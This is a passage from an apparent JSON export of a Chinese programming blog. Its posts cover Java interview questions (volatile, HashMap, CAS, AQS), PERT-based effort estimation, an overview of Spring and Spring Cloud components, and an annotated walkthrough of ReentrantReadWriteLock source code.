volatile可以禁止指令重排序优化\n保证可见性、不保证原子性(也就是说多个线程并发修改某个变量时，依旧会产生多线程问题，但适合使用一个线程写，多个线程读的场合。)\n以下场景可以使用volatile\n运算结果并不依赖变量的当前值，或者能够确保只有单一的线程修改变量的值\n变量不需要与其他的状态变量共同参与不变约束\n原理：volatile语义中的内存屏障volatile的内存屏障策略非常严格保守，非常悲观且毫无安全感的心态：在每个volatile写操作前插入StoreStore屏障，在写操作后插入StoreLoad屏障；在每个volatile读操作前插入LoadLoad屏障，在读操作后插入LoadStore屏障；由于内存屏障的作用，避免了volatile变量和其它指令重排序、线程之间实现了通信，使得volatile表现出了锁的特性。\n2 jvm调过优没有，是怎么做的？排查问题时一般会用哪些命令？ jps(JVM Process Status):虚拟机进程状况工具 显示虚拟机进程 jps -l jstat(JVM Statistics Monitoring Tool):监控虚拟机各种运行状态 jinfo(Configuration Info for Java):java配置信息工具 jmap(Memory Map for Java) 堆转储快照 jstack(Stack Trace for Java) java堆栈跟踪工具 3 AQS 原理大概说一下 可参考 ： [彻底搞懂AQS](http://mp.weixin.qq.com/s?__biz=MzI3Njk5ODg4OQ==\u0026amp;mid=2247484343\u0026amp;idx=1\u0026amp;sn=0c0ac16161f09cadd00483addbf6e598\u0026amp;chksm=eb6dbc31dc1a35278931f76fce310d6ead4aba125fc2370aeb52a03b2dc4a78c0d4d95fae420\u0026amp;scene=21#wechat_redirect) 4 Redis 高可用实现方式 redis cluster 或哨兵机制 5 Kafka 或 RocketMq 实现原理 问的太广了，自己知道什么有逻辑的表达一下吧 6 spring cloud 和 dubbo区别 主要是RPC和生态上的区别 7 spring cloud 用过哪些组件 ？ 可参考 ：spring及spring cloud框架主要组件介绍 8 Hystrix 熔断器有哪些模式 closed：请求正常时，不使用熔断器；\nopen：统计请求的失败比例，达到阀值时，打开熔断器，请求被降级处理；延时一段时候后（默认休眠时间是5S）会进入halfopen状态；默认失败比例阀值是50%，请求次数最少不低于20次；\nhalfopen：在进入该状态后会放入部分请求；判断请求是否成功，不成功，进入open状态，重新计时，进入halfopen状态；成功，进入closed状态，\n9 介绍下项目 10 有什么问题问我的？ ","date":"2020-05-11T07:25:08Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-05-11-di-di-yi-mian-gao-ji-java-mian-shi-ti-fen-xiang/cover.jpg","permalink":"/p/2020-05-11-di-di-yi-mian-gao-ji-java-mian-shi-ti-fen-xiang/","title":"滴滴一面（高级java）面试题分享"},{"content":"\n1 ArrayList LinkedList 区别 ArrayList\n采用数组的方式来存储对象\n非线程安全\n每次按照1.5倍（位运算）的比率通过copeOf的方式扩容\n初始数组容量为10\nLinkedList\n基于双向链表机制实现\n非线程安全的\n2 ArrayList、LinkedList 的boolean add(E e) 、E remove(int index)、void add(int index, E element) 三个方法，分别的时间复杂度 ArrayList:\nadd(E e) 在不考虑扩容的情况下时间复杂度为：O(1)\nadd(int index,E element) 时间复杂度为：O(n) 在第几个元素后面插入，后面的元素需要向后移动\nremove(int index) 时间复杂度为：O(n) 在第几个元素后面插入，后面的元素需要向后移动\nLinkedList:\nadd(E e) 时间复杂度为：O(1)\nadd(int index,E element) 时间复杂度为：O(n) 需要先查找到第几个元素，直接指针指向操作\nremove(int index) 时间复杂度为：O(n)\n总结：\nArrayList 对于随机位置的add/remove，时间复杂度为 O(n),但是对于列表末尾的添加/删除操作,时间复杂度是 O(1).\nLinkedList对于随机位置的add/remove，时间复杂度为 O(n),但是对于列表 末尾/开头 的添加/删除操作,时间复杂度是 O(1).\n3 HashMap 数据结构，1.8为什么用红黑树? 参考系列文章：经典面试题之HashMap(一) 4 HashMap 求hash值的算法？ 参考系列文章 : 经典面试题之HashMap(二) 5 写代码：实现一下HashMap的put方法 这个题我说实话，我自己是无法完整的写出来，但大致思路是能说得上来。所以，如果我是面试官的话，要求至少是把思路说出来。能完全写出来的佩服，因为put方法还牵扯很多上下文的信息，这些都记住不易。 参考系列文章：一次性搞定HashMap面试 6 说明一下java的异常体系 7 Redis 怎样实现分布式锁? setnx 和 set区别 用setnx 可以实现分布式锁 set: 将字符串值 value 关联到 key 。\n如果 key 已经持有其他值， SET 就覆写旧值，无视类型。\nsetnx:\n将 key 的值设为 value ，当且仅当 key 不存在。\n若给定的 key 已经存在，则 SETNX 不做任何动作。\nSETNX 是『SET if Not eXists』(如果不存在，则 SET)的简写。\n8 一个接口调用次数 ，如果用 static long counter；counter++; 统计有什么问题没有？如果用volatile修饰呢？ 有问题，如果在多线程环境下，会出现数据不对的情况。 如果用volatile也不能解决这个问题，因为volatile 虽然能够保证有序性和可见性，但就这个例子来讲，运算的结果已经依赖当前变量的值了（counter++） 这样是不能使用volatile的，如果用了，结果也是不对。原因是在counter++中,这条语句编译后的字节码指令不是一句，在多线程环境下其他线程可能已经把值改了，操作数栈顶的值可能就成了过期的数据。 **那应该怎么办呢？** 可以用原子类操作，比如 AtomicInteger **AtomicInteger的原理？** 主要是利用了CAS **描述下CAS过程和原理？** 所谓CAS，即“比较与交换”（Compare-and-swap），是最常见的乐观锁实现方式，看官应该对这个概念很熟悉。一次CAS过程是原子的，包含3个操作数：\n需要访问的内存地址V；\n该内存地址中存储的预期值A；\n希望向该地址写入的新值B。\n当且仅当V中的值与A相同时，其值才会更新成B，否则就不执行任何动作。\nCAS通过调用JNI的代码实现的。JNI:Java Native Interface为JAVA本地调用，允许java调用其他语言。而compareAndSwapInt就是借助C来调用CPU底层指令(Atomic::cmpxchg(x,addr,e))实现的。 **CAS存在的问题？** 如果CAS失败，会一直进行尝试。如果CAS长时间一直不成功，可能会给CPU带来很大的开销。 9 讲一讲熟悉的项目 ","date":"2020-05-06T10:37:03Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-05-06-kuai-shou-yi-mian-gao-ji-java-mian-shi-zhen-ti-fen-xiang/cover.jpg","permalink":"/p/2020-05-06-kuai-shou-yi-mian-gao-ji-java-mian-shi-zhen-ti-fen-xiang/","title":"快手一面（高级java）面试真题分享"},{"content":"Redis中列表的使用场景很多，在选择时可以参考以下口决： lpush + lpop = Stack(栈) lpush + rpop = Queue(队列) lpush + ltrim = Capped Collection(有限集合) lpush + brpop = Message Queue(消息队列)\n","date":"2020-04-27T08:59:42Z","permalink":"/p/2020-04-27-redis-zhong-lie-biao-de-shi-yong-chang-jing-hen-duo-zai-xuan/","title":"Redis中列表的使用场景很多，在选择时可以参考以下口决：\nlpush + lpop = Stack(栈)\nlpush + rpop = Queue(队列)\nlpush + ltrim = Capped Collection(有限集合)\nlpush + brpop = Message Queue(消息队列)"},{"content":"\n通过与透露题目的朋友得知以下两题出自蚂蚁金服的远程一面。\n题目本身并不很难，难的是在阿里评测的平台上，脱离IDE，徒手coding。那个平台其实就是给你一个网址打开就像记事本一样，面试官可以实时看到你写的什么，你以可以说话跟他语音交流。\nNo1 请用java实现以下shell脚本的功能\ncat /home/admin/logs/webx.log | grep \u0026ldquo;Login\u0026rdquo; | uniq -c | sort -nr\n从webx.log里查找包含\u0026quot;Login\u0026quot;的行，去重并排序 我的实现：\n","date":"2020-04-25T07:49:29Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-25-a-li-mian-shi-fen-xiang/cover.jpg","permalink":"/p/2020-04-25-a-li-mian-shi-fen-xiang/","title":"阿里面试分享"},{"content":"\n**以下是我经历过的工时评估的几种情况： **\n产品直接找到开发，让具体开发自己评估\nleader让开发自己评估\nleader评估\n领导拍脑袋决定2个月完成，在2个月的deadline内评估\n最后那种情况，我希望你不多见，不然我对此真的表示非常遗憾了，因为这并不科学，长此以往是会出问题的。\n**那么我们平时是怎么估时的呢： **\n靠经验和能力与实际需求相结合\n根据deadline压力\n根据产品压力\n根据领导压力\n除了第一种，我希望你没有遇到过后面三种（但你应该遇到过）。第一种相对靠谱吧，但我认为不科学，可能是我偏执，但我总认为应该有更科学的方法论。因为直觉告诉我，就算靠我自己的能力和经验这事儿也不总那么靠谱。\n于是我就在工作中不断找有没有更科学的方法，幸好，我找到了：PERT\n第一次看到这种方法，是在一本书上（忘记是什么书了）。\n什么是PERT?\nPERT(Program Evaluation and Review Technique)即计划评审技术，最早是由美国海军在计划和控制北极星导弹的研制时发展起来的。PERT技术使原先估计的、研制北极星潜艇的时间缩短了两年。 定义不重要，我们看怎么用。\n我用一个例子讲清楚，先看图：\n我们把一个排期的需求按模块和功能分类，然后每个功能都去评估完成它的乐观时间，标准时间和悲观时间。单位是人/天。\n倒数第二列 μ （mu）为期望完成时间，\n它的计算公式是：μ =(O+4N+P)/6 其中O为乐观时间，N为标准时间，P为悲观时间。\n倒数第一列 σ（sigma）为标准差\n它的计算公式是：σ=(P-O)/6 其中O为乐观时间，N为标准时间，P为悲观时间。\n你可以把这个表格的后面两列用公式设置好，填好前面的，然后一起计算出来。\n最后，我们得到的结论是：开发时间预估为期望时间的总和（sum），预估的误差是在标准差总和（sum）之内。拿上图来说就是总预估时间为43人/天，在2个标准差之内。也就是说可能在46天完成，也可能在40天完成。\n我个人觉得这样就比较科学了，另外从我以往管理上的亲身实践感觉是要比自己凭经验估计的要准，而且更弹性更有说服力。\n你平时是怎么预估工时的？如果觉得这个方法靠谱，可以试一下。\n关注公众号 获取更多精彩内容\n","date":"2020-04-24T03:40:48Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-24-ru-he-ke-xue-di-yu-gu-gong-shi/cover.jpg","permalink":"/p/2020-04-24-ru-he-ke-xue-di-yu-gu-gong-shi/","title":"如何科学地预估工时？"},{"content":"spring 顶级项目\nSpring IO platform:用于系统部署，是可集成的，构建现代化应用的版本平台，具体来说当你使用maven dependency引入spring jar包时它就在工作了。\nSpring Boot:旨在简化创建产品级的 Spring 应用和服务，简化了配置文件，使用嵌入式web服务器，含有诸多开箱即用微服务功能，可以和spring cloud联合部署。\nSpring Framework:即通常所说的spring 框架，是一个开源的Java/Java EE全功能栈应用程序框架，其它spring项目如spring boot也依赖于此框架。\nSpring Cloud：微服务工具包，为开发者提供了在分布式系统的配置管理、服务发现、断路器、智能路由、微代理、控制总线等开发工具包。\nSpring XD：是一种运行时环境（服务器软件，非开发框架），组合spring技术，如spring batch、spring boot、spring data，采集大数据并处理。\nSpring Data：是一个数据访问及操作的工具包，封装了很多种数据及数据库的访问相关技术，包括：jdbc、Redis、MongoDB、Neo4j等。\nSpring Batch：批处理框架，或说是批量任务执行管理器，功能包括任务调度、日志记录/跟踪等。\nSpring Security：是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。\nSpring Integration：面向企业应用集成（EAI/ESB）的编程框架，支持的通信方式包括HTTP、FTP、TCP/UDP、JMS、RabbitMQ、Email等。\nSpring Social：一组工具包，一组连接社交服务API，如Twitter、Facebook、LinkedIn、GitHub等，有几十个。\nSpring AMQP：消息队列操作的工具包，主要是封装了RabbitMQ的操作。\nSpring HATEOAS：是一个用于支持实现超文本驱动的 REST Web 服务的开发库。\nSpring Mobile：是Spring MVC的扩展，用来简化手机上的Web应用开发。\nSpring for Android：是Spring框架的一个扩展，其主要目的在乎简化Android本地应用的开发，提供RestTemplate来访问Rest服务。\nSpring Web Flow：目标是成为管理Web应用页面流程的最佳方案，将页面跳转流程单独管理，并可配置。\nSpring LDAP：是一个用于操作LDAP的Java工具包，基于Spring的JdbcTemplate模式，简化LDAP访问。\nSpring Session：session管理的开发工具包，让你可以把session保存到redis等，进行集群化session管理。\nSpring Web Services：是基于Spring的Web服务框架，提供SOAP服务开发，允许通过多种方式创建Web服务。\nSpring Shell：提供交互式的Shell可让你使用简单的基于Spring的编程模型来开发命令，比如Spring Roo命令。\nSpring Roo：是一种Spring开发的辅助工具，使用命令行操作来生成自动化项目，操作非常类似于Rails。\nSpring Scala：为Scala语言编程提供的spring框架的封装（新的编程语言，Java平台的Scala于2003年底/2004年初发布）。\nSpring BlazeDS Integration：一个开发RIA工具包，可以集成Adobe Flex、BlazeDS、Spring以及Java技术创建RIA。\nSpring Loaded：用于实现java程序和web应用的热部署的开源工具。\nSpring REST Shell：可以调用Rest服务的命令行工具，敲命令行操作Rest服务。\nspring cloud子项目包括\nSpring Cloud Config：配置管理开发工具包，可以让你把配置放到远程服务器，目前支持本地存储、Git以及Subversion。\nSpring Cloud Bus：事件、消息总线，用于在集群（例如，配置变化事件）中传播状态变化，可与Spring Cloud Config联合实现热部署。\nSpring Cloud Netflix：针对多种Netflix组件提供的开发工具包，其中包括Eureka、Hystrix、Zuul、Archaius等。\nNetflix Eureka：云端负载均衡，一个基于 REST 的服务，用于定位服务，以实现云端的负载均衡和中间层服务器的故障转移。\nNetflix Hystrix：容错管理工具，旨在通过控制服务和第三方库的节点,从而对延迟和故障提供更强大的容错能力。\nNetflix Zuul：边缘服务工具，是提供动态路由，监控，弹性，安全等的边缘服务。\nNetflix Archaius：配置管理API，包含一系列配置管理API，提供动态类型化属性、线程安全配置操作、轮询框架、回调机制等功能。\nSpring Cloud for Cloud Foundry：通过Oauth2协议绑定服务到CloudFoundry，CloudFoundry是VMware推出的开源PaaS云平台。\nSpring Cloud Sleuth：日志收集工具包，封装了Dapper,Zipkin和HTrace操作。\n**Spring Cloud Data Flow：**大数据操作工具，通过命令行方式操作数据流。\nSpring Cloud Security：安全工具包，为你的应用程序添加安全控制，主要是指OAuth2。\nSpring Cloud Consul：封装了Consul操作，consul是一个服务发现与配置工具，与Docker容器可以无缝集成。\nSpring Cloud Zookeeper：操作Zookeeper的工具包，用于使用zookeeper方式的服务注册和发现。\nSpring Cloud Stream：数据流操作开发包，封装了与Redis,Rabbit、Kafka等发送接收消息。\nSpring Cloud CLI：基于 Spring Boot CLI，可以让你以命令行方式快速建立云组件。\n关注公众号 获取更多精彩内容\n","date":"2020-04-23T02:01:05Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-23-spring-ji-spring-cloud-kuang-jia-zhu-yao-zu-jian-jie-shao/cover.jpg","permalink":"/p/2020-04-23-spring-ji-spring-cloud-kuang-jia-zhu-yao-zu-jian-jie-shao/","title":"spring及spring cloud框架主要组件介绍"},{"content":"\n以下两道题是本人几年前面试遇到过的真实面试题，由于当年刷题不够，思路也不到位，导致没有答好。今天正好刷LeetCode，看到原题了，勾起了我的回忆\u0026hellip;\u0026hellip;\n**1 给定一棵二叉树，找到每一行中的最大值。 **\n输入:\n1 / \\ 2 3 2 3 / \\ \\ 4 5 3 9 5 6```java 7 8输出: [1, 3, 9] 9 10LeetCode原题，题号是515。 11 12先说答案： 13 14```cs 15/** 16 * Definition for a binary tree node. 17 * public class TreeNode { 18 * int val; 19 * TreeNode left; 20 * TreeNode right; 21 * TreeNode(int x) { val = x; } 22 * } 23 */ 24class Solution { 25 public List\u0026lt;Integer\u0026gt; largestValues(TreeNode root) { 26 27 List\u0026lt;Integer\u0026gt; res =new ArrayList\u0026lt;\u0026gt;(); 28 29 Queue\u0026lt;TreeNode\u0026gt; q = new LinkedList\u0026lt;\u0026gt;(); 30 31 if (root ==null ){ 32 return res; 33 } 34 q.add(root); 35 36 while(!q.isEmpty()){ 37 38 int size = q.size(); 39 40 int max = Integer.MIN_VALUE; 41 42 for(int i = 0; i\u0026lt;size; i++){ 43 44 TreeNode node = q.poll(); 45 max = Math.max(max,node.val); 46 47 if (node.left !=null){ 48 q.add(node.left); 49 } 50 51 if (node.right !=null){ 52 q.add(node.right); 53 } 54 55 } 56 57 res.add(max); 58 } 59 return res; 60 } 61 62} 是的，就是利用队列做BFS，有关二叉树层次遍历的思路都可以套用。\n2 手写 hashmap的put方法\n我不知道多少人能写出来，说实话直到现在我也写不出来。但冷静下来细想，人家真的是考你能不能完全写出来吗？我想，可能还是考查你对于put的熟悉程序，对流程的把握，如果你把基本流程用伪代码讲清楚了，怎么也能答到及格吧。有关这个问题的解读可以看小盒子之前的文章：\n一次性搞定HashMap面试\n关注公众号 获取更多精彩内容\n","date":"2020-04-22T08:51:09Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-22-mei-tuan-mian-shi-ti-fen-xiang/cover.jpg","permalink":"/p/2020-04-22-mei-tuan-mian-shi-ti-fen-xiang/","title":"美团面试题分享"},{"content":"\n转载一篇好文 ，侵权删。文末有原文地址\n一 我所知道的aop 初看aop,上来就是一大堆术语，而且还有个拉风的名字，面向切面编程，都说是OOP的一种有益补充等等。一下子让你不知所措，心想着：怪不得很多人都和我说aop多难多难。当我看进去以后，我才发现：它就是一些java基础上的朴实无华的应用，包括ioc，包括许许多多这样的名词，都是万变不离其宗而已。 二 为什么用aop 就是为了方便，看一个国外很有名的大师说，编程的人都是“懒人”，因为他把自己做的事情都让程序做了。用了aop能让你少写很多代码，这点就够充分了吧\n就是为了更清晰的逻辑，可以让你的业务逻辑去关注自己本身的业务，而不去想一些其他的事情，这些其他的事情包括：安全，事物，日志等。\n三 那些aop的术语 初看这么多术语，一下子都不好接受，慢慢来，很快就会搞懂。 通知（Advice） 就是你想要的功能，也就是上面说的 安全，事物，日志等。你给先定义好把，然后在想用的地方用一下 连接点（JoinPoint） 这个更好解释了，就是spring允许你使用通知的地方，那可真就多了，基本每个方法的前，后（两者都有也行），或抛出异常时都可以是连接点，spring只支持方法连接点 .其他如aspectJ还可以让你在构造器或属性注入时都行，不过那不是咱关注的，只要记住，和方法有关的前前后后（抛出异常），都是连接点。 切入点（Pointcut） 上面说的连接点的基础上，来定义切入点，你的一个类里，有15个方法，那就有几十个连接点了对吧，但是你并不想在所有方法附近都使用通知（使用叫织入，以后再说），你只想让其中的几个，在调用这几个方法之前，之后或者抛出异常时干点什么，那么就用切点来定义这几个方法，让切点来筛选连接点，选中那几个你想要的方法。 切面（Aspect） 切面是通知和切入点的结合。现在发现了吧，没连接点什么事情，连接点就是为了让你好理解切点，搞出来的，明白这个概念就行了。通知说明了干什么和什么时候干（什么时候通过方法名中的before,after，around等就能知道），而切入点说明了在哪干（指定到底是哪个方法），这就是一个完整的切面定义。 引入（introduction） 允许我们向现有的类添加新方法属性。这不就是把切面（也就是新方法属性：通知定义的）用到目标类中吗 目标（target） 引入中所提到的目标类，也就是要被通知的对象，也就是真正的业务逻辑，他可以在毫不知情的情况下，被咱们织入切面。而自己专注于业务本身的逻辑。 代理(proxy) 怎么实现整套aop机制的，都是通过代理，这个一会给细说。 织入(weaving) 把切面应用到目标对象来创建新的代理对象的过程。有3种方式，spring采用的是运行时，为什么是运行时，后面解释。关键就是：切点定义了哪些连接点会得到通知 四 我所理解的aop原理 spring用代理类包裹切面，把他们织入到Spring管理的bean中。也就是说代理类伪装成目标类，它会截取对目标类中方法的调用，让调用者对目标类的调用都先变成调用伪装类，伪装类中就先执行了切面，再把调用转发给真正的目标bean。 现在可以自己想一想，怎么搞出来这个伪装类，才不会被调用者发现（过JVM的检查，JAVA是强类型检查，哪里都要检查类型）。 **1.实现和目标类相同的接口** 我也实现和你一样的接口，反正上层都是接口级别的调用，这样我就伪装成了和目标类一样的类（实现了同一接口，咱是兄弟了），也就逃过了类型检查，到java运行期的时候，利用多态的后期绑定（所以spring采用运行时），伪装类（代理类）就变成了接口的真正实现，而他里面包裹了真实的那个目标类，最后实现具体功能的还是目标类，只不过伪装类在之前干了点事情（写日志，安全检查，事物等）。\n这就好比，一个人让你办件事，每次这个时候，你弟弟就会先出来，当然他分不出来了，以为是你，你这个弟弟虽然办不了这事，但是他知道你能办，所以就答应下来了，并且收了点礼物（写日志），收完礼物了，给把事给人家办了啊，所以你弟弟又找你这个哥哥来了，最后把这事办了的还是你自己。但是你自己并不知道你弟弟已经收礼物了，你只是专心把这件事情做好。\n顺着这个思路想，要是本身这个类就没实现一个接口呢，你怎么伪装我，我就压根没有机会让你搞出这个双胞胎的弟弟，那么就用第2种代理方式，创建一个目标类的子类，生个儿子，让儿子伪装我 **2.生成子类调用** 这次用子类来做为伪装类，当然这样也能逃过JVM的强类型检查，我继承的吗，当然查不出来了，子类重写了目标类的所有方法，当然在这些重写的方法中，不仅实现了目标类的功能，还在这些功能之前，实现了一些其他的（写日志，安全检查，事物等）。 这次的对比就是，儿子先从爸爸那把本事都学会了，所有人都找儿子办事情，但是儿子每次办和爸爸同样的事之前，都要收点小礼物（写日志），然后才去办真正的事。当然爸爸是不知道儿子这么干的了。这里就有件事情要说，某些本事是爸爸独有的(final的)，儿子学不了，学不了就办不了这件事，办不了这个事情，自然就不能收人家礼了。\n前一种兄弟模式，spring会使用JDK的java.lang.reflect.Proxy类，它允许Spring动态生成一个新类来实现必要的接口，织入通知，并且把对这些接口的任何调用都转发到目标类。\n后一种父子模式，spring使用CGLIB库生成目标类的一个子类，在创建这个子类的时候，spring织入通知，并且把对这个子类的调用委托到目标类。\n相比之下，还是兄弟模式好些，他能更好的实现松耦合，尤其在今天都高喊着面向接口编程的情况下，父子模式只是在没有实现接口的时候，也能织入通知，应当做一种例外。 原文地址\nhttps://www.iteye.com/blog/cometzb-xujun-1537274 关注公众号 获取更多精彩内容\n","date":"2020-04-20T09:07:38Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-20-spring-aop-shu-yu-jie-shi-zui-rong-yi-li-jie-zhuan-zai/cover.jpg","permalink":"/p/2020-04-20-spring-aop-shu-yu-jie-shi-zui-rong-yi-li-jie-zhuan-zai/","title":"Spring AOP 术语解释（最容易理解）转载"},{"content":"\nAQS AQS 核心思想是，如果被请求的共享资源空闲，则将当前请求资源的线程设置为有效的工作线程，并且将共享资源设置为锁定状态。如果被请求的共享资源被占用，那么就需要一套线程阻塞等待以及被唤醒时锁分配的机制，这个机制 AQS 是用 CLH 队列锁实现的，即将暂时获取不到锁的线程加入到队列中。\nAQS定义了两种资源获取方式：独占（只有一个线程能访问执行，又根据是否按队列的顺序分为公平锁和非公平锁，如ReentrantLock） 和共享（多个线程可同时访问执行，如Semaphore/CountDownLatch，Semaphore、CountDownLatCh、 CyclicBarrier ）。ReentrantReadWriteLock 可以看成是组合式，允许多个线程同时对某一资源进行读。\nAQS底层使用了模板方法模式， 自定义同步器在实现时只需要实现共享资源 state 的获取与释放方式即可，至于具体线程等待队列的维护（如获取资源失败入队/唤醒出队等），AQS已经在上层已经帮我们实现好了。\n同步器的可重写方法\n同步器的模板方法\nAQS框架：\nAQS模型如下图：\n双向链表中，第一个节点为虚节点，其实并不存储任何信息，只是占位。真正的第一个有数据的节点，是在第二个节点开始的。\nAQS state字段（int类型，32位），该字段用来描述有多少线程持有锁。\n在独享锁中这个值通常是0或者1（如果是重入锁的话state值就是重入的次数),在共享锁中state就是持有锁的数量.\n我们发现在ReentrantLock虽然有公平锁和非公平锁两种，但是它们添加的都是独享锁。根据源码所示，当某一个线程调用lock方法获取锁时，如果同步资源没有被其他线程锁住，那么当前线程在使用CAS更新state成功后就会成功抢占该资源。而如果公共资源被占用且不是被当前线程占用，那么就会加锁失败。所以可以确定ReentrantLock无论读操作还是写操作，添加的锁都是都是独享锁。\nReentrantReadWriteLock 在ReentrantReadWriteLock中有读、写两把锁，所以需要在一个整型变量state上分别描述读锁和写锁的数量（或者也可以叫状态）。于是将state变量“按位切割”切分成了两个部分，高16位表示读锁状态（读锁个数），低16位表示写锁状态（写锁个数）\n获取写锁源码:\n1/** 2 * 获取写锁 3 Acquires the write lock. 4 * 如果此时没有任何线程持有写锁或者读锁，那么当前线程执行CAS操作更新status， 5 * 若更新成功，则设置读锁重入次数为1，并立即返回 6 * \u0026lt;p\u0026gt;Acquires the write lock if neither the read nor write lock 7 * are held by another thread 8 * and returns immediately, setting the write lock hold count to 9 * one. 10 * 如果当前线程已经持有该写锁，那么将写锁持有次数设置为1，并立即返回 11 * \u0026lt;p\u0026gt;If the current thread already holds the write lock then the 12 * hold count is incremented by one and the method returns 13 * immediately. 14 * 如果该锁已经被另外一个线程持有，那么停止该线程的CPU调度并进入休眠状态， 15 * 直到该写锁被释放，且成功将写锁持有次数设置为1才表示获取写锁成功 16 * \u0026lt;p\u0026gt;If the lock is held by another thread then the current 17 * thread becomes disabled for thread scheduling purposes and 18 * lies dormant until the write lock has been acquired, at which 19 * time the write lock hold count is set to one. 20 */ 21 public void lock() { 22 sync.acquire(1); 23 } 24/** 25 * 该方法为以独占模式获取锁，忽略中断 26 * 如果调用一次该“tryAcquire”方法更新status成功，则直接返回，代表抢锁成功 27 * 否则，将会进入同步队列等待，不断执行“tryAcquire”方法尝试CAS更新status状态，直到成功抢到锁 28 * 其中“tryAcquire”方法在NonfairSync(公平锁)中和FairSync(非公平锁)中都有各自的实现 29 * 30 * Acquires in exclusive mode, ignoring interrupts. Implemented 31 * by invoking at least once {@link #tryAcquire}, 32 * returning on success. Otherwise the thread is queued, possibly 33 * repeatedly blocking and unblocking, invoking {@link 34 * #tryAcquire} until success. This method can be used 35 * to implement method {@link Lock#lock}. 36 * 37 * @param arg the acquire argument. This value is conveyed to 38 * {@link #tryAcquire} but is otherwise uninterpreted and 39 * can represent anything you like. 40 */ 41 public final void acquire(int arg) { 42 if (!tryAcquire(arg) \u0026amp;\u0026amp; 43 acquireQueued(addWaiter(Node.EXCLUSIVE), arg)) 44 selfInterrupt(); 45 } 46 protected final boolean tryAcquire(int acquires) { 47 /* 48 * Walkthrough: 49 * 1、如果读写锁的计数不为0，且持有锁的线程不是当前线程，则返回false 50 * 1. If read count nonzero or write count nonzero 51 * and owner is a different thread, fail. 52 * 2、如果持有锁的计数不为0且计数总数超过限定的最大值，也返回false 53 * 2. If count would saturate, fail. (This can only 54 * happen if count is already nonzero.) 55 * 3、如果该锁是可重入或该线程在队列中的策略是允许它尝试抢锁，那么该线程就能获取锁 56 * 3. Otherwise, this thread is eligible for lock if 57 * it is either a reentrant acquire or 58 * queue policy allows it. If so, update state 59 * and set owner. 60 */ 61 Thread current = Thread.currentThread(); 62 //获取读写锁的状态 63 int c = getState(); 64 //获取该写锁重入的次数 65 int w = exclusiveCount(c); 66 //如果读写锁状态不为0，说明已经有其他线程获取了读锁或写锁 67 if (c != 0) { 68 //如果写锁重入次数为0，说明有线程获取到读锁，根据“读写锁互斥”原则，返回false 69 //或者如果写锁重入次数不为0，且获取写锁的线程不是当前线程，根据\u0026#34;写锁独占\u0026#34;原则，返回false 70 // (Note: if c != 0 and w == 0 then shared count != 0) 71 if (w == 0 || current != getExclusiveOwnerThread()) 72 return false; 73 //如果写锁可重入次数超过最大次数（65535），则抛异常 74 if (w + exclusiveCount(acquires) \u0026gt; MAX_COUNT) 75 throw new Error(\u0026#34;Maximum lock count exceeded\u0026#34;); 76 //到这里说明该线程是重入写锁，更新重入写锁的计数(+1)，返回true 77 // Reentrant acquire 78 setState(c + acquires); 79 return true; 80 } 81 //如果读写锁状态为0,说明读锁和写锁都没有被获取，会走下面两个分支： 82 //如果要阻塞或者执行CAS操作更新读写锁的状态失败，则返回false 83 //如果不需要阻塞且CAS操作成功，则当前线程成功拿到锁，设置锁的owner为当前线程，返回true 84 if (writerShouldBlock() || 85 !compareAndSetState(c, c + acquires)) 86 return false; 87 setExclusiveOwnerThread(current); 88 return true; 89 } 释放写锁源码:\n1/* 2 * Note that tryRelease and tryAcquire can be called by 3 * Conditions. So it is possible that their arguments contain 4 * both read and write holds that are all released during a 5 * condition wait and re-established in tryAcquire. 6 */ 7 protected final boolean tryRelease(int releases) { 8 //若锁的持有者不是当前线程，抛出异常 9 if (!isHeldExclusively()) 10 throw new IllegalMonitorStateException(); 11 //写锁的可重入计数减掉releases个 12 int nextc = getState() - releases; 13 //如果写锁重入计数为0了，则说明写锁被释放了 14 boolean free = exclusiveCount(nextc) == 0; 15 if (free) 16 //若写锁被释放，则将锁的持有者设置为null，进行GC 17 setExclusiveOwnerThread(null); 18 //更新写锁的重入计数 19 setState(nextc); 20 return free; 21 } 获取读锁源码：\n1/** 2 * 获取读锁 3 * Acquires the read lock. 4 * 如果写锁未被其他线程持有，执行CAS操作更新status值，获取读锁后立即返回 5 * \u0026lt;p\u0026gt;Acquires the read lock if the write lock is not held by 6 * another thread and returns immediately. 7 * 8 * 如果写锁被其他线程持有，那么停止该线程的CPU调度并进入休眠状态，直到该读锁被释放 9 * \u0026lt;p\u0026gt;If the write lock is held by another thread then 10 * the current thread becomes disabled for thread scheduling 11 * purposes and lies dormant until the read lock has been acquired. 12 */ 13 public void lock() { 14 sync.acquireShared(1); 15 } 16 /** 17 * 该方法为以共享模式获取读锁，忽略中断 18 * 如果调用一次该“tryAcquireShared”方法更新status成功，则直接返回，代表抢锁成功 19 * 否则，将会进入同步队列等待，不断执行“tryAcquireShared”方法尝试CAS更新status状态，直到成功抢到锁 20 * 其中“tryAcquireShared”方法在NonfairSync(公平锁)中和FairSync(非公平锁)中都有各自的实现 21 * (看这注释是不是和写锁很对称) 22 * Acquires in shared mode, ignoring interrupts. Implemented by 23 * first invoking at least once {@link #tryAcquireShared}, 24 * returning on success. Otherwise the thread is queued, possibly 25 * repeatedly blocking and unblocking, invoking {@link 26 * #tryAcquireShared} until success. 27 * 28 * @param arg the acquire argument. This value is conveyed to 29 * {@link #tryAcquireShared} but is otherwise uninterpreted 30 * and can represent anything you like. 31 */ 32 public final void acquireShared(int arg) { 33 if (tryAcquireShared(arg) \u0026lt; 0) 34 doAcquireShared(arg); 35 } 36 protected final int tryAcquireShared(int unused) { 37 /* 38 * Walkthrough: 39 * 1、如果已经有其他线程获取到了写锁，根据“读写互斥”原则，抢锁失败，返回-1 40 * 1.If write lock held by another thread, fail. 41 * 2、如果该线程本身持有写锁，那么看一下是否要readerShouldBlock，如果不需要阻塞， 42 * 则执行CAS操作更新state和重入计数。 43 * 这里要注意的是，上面的步骤不检查是否可重入(因为读锁属于共享锁，天生支持可重入) 44 * 2. Otherwise, this thread is eligible for 45 * lock wrt state, so ask if it should block 46 